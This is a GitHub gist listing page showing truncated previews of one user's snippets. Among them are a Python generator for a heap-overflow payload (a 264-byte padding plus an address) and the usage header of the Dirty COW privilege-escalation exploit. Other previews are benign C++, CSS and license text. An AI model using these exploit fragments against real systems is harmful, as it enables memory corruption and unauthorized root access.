Skip to content

Instantly share code, notes, and snippets.

View Voultapher's full-sized avatar
🦕
Fight perfection

Lukas Bergdoll Voultapher

🦕
Fight perfection
  • MVTec Software GmbH
  • Munich, Germany
  • 22:11 (UTC +02:00)
View GitHub Profile
#!/usr/bin/env python3
import sys
def print_crck():
overflow_str = b''.join([ b'a' for x in range(264) ])
sys.stdout.buffer.write(b'new a\n')
sys.stdout.buffer.write(b'new b\n')
sys.stdout.buffer.write(b'delete 0\n')
sys.stdout.buffer.write(b'new ' + overflow_str + b'\x9c\x0c\x40\n')
@Voultapher
Voultapher / horrible_v1.cpp
Created March 28, 2017 18:27
never do this
#include <iostream>
#include <fstream>
#include <algorithm>
#include <string>
#include <vector>
#include <sstream>
void foo(const char* filepath)
{
std::ifstream file(filepath);
<html>
<head>
<!--
We will create a family tree using just CSS(3)
The markup will be simple nested lists
-->
<style>
/*Now the CSS*/
* {margin: 0; padding: 0;}
// This file is a part of the IncludeOS unikernel - www.includeos.org
//
// Copyright 2015-2016 Oslo and Akershus University College of Applied Sciences
// and Alfred Bratterud
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
@Voultapher
Voultapher / cow.c
Last active February 19, 2017 13:40
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
http://godbolt.org/#z:OYLghAFBqd5QCxAYwPYBMCmBRdBLAF1QCcAaPECAM1QDsCBlZAQwBtMQBGAOgFYAGQUOHCALKQBWXUqgAOBPHQDOlNK1QBXYniWYAgkoC2IAOT8TpNIdl52AeVoBhBM1rAOZkwEpSSzcWQPAFIAJgBmPCpaLCoAagARbAAZbABxPQAVbAB9AAkABXzsgEkAOUckgFVE%2BKD%2BPVCwmLxaTATktMycgqKyiursWvq6hvC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